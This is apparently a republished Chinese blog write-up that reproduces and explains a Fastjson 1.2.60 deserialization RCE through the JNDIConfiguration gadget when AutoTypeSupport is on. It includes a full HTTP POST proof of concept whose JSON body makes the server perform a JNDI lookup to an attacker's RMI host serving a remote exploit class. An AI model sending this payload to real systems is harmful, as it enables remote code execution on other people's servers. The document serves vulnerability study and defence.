Fastjson 1.2.60 Rce 漏洞復現&分析


0x01 漏洞背景

影響范圍:1.2.60

漏洞描述:該漏洞主要在開啟AutoTypeSupport情況下的利用,針對該gadget還沒在黑名單當中的利用。

0x02 漏洞復現

Poc1:

POST /FastjsonWeb_war/openAutoType HTTP/1.1
Host: 192.168.52.136:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type:application/json
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 110

{
	"@type":"org.apache.commons.configuration.JNDIConfiguration",
	"prefix":"rmi://192.168.52.129:9999/#Exploit"
}

image-20201118153427363

0x03 漏洞分析

其他的流程都沒有變化,只是被找到了這條gadget剛剛好在黑名單之外。使用poc攻擊該寫好的接口應用(開啟AutoTypeSupport)。

從前面的分析便可知,在反序列化還原對象的時候,會先創建該類的對象,然后調用其set方法對相應屬性進行賦值,調用get方法對相應屬性進行值獲取。

在反序列化時,調用javabean的set方法對prefix進行賦值,如下

image-20201118160246393

最終會調用org.apache.commons.configuration.JNDIConfiguration的setprefix方法進行賦值。

image-20201118160728426

又由於在反序列化過程中,需要獲取反序列化對象的屬性值,因此調用了其get方法。

image-20201118161406304

最終獲取baseContext屬性時,調用了JNDIConfiguration的getBaseContext方法

image-20201118161523720

而BaseContext方法最終調用了lookup,且其參數可控,為我們的prefix參數。

0x04 參考

https://mntn0x.github.io/2020/04/07/Fastjson漏洞復現/

https://www.freebuf.com/articles/web/213327.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM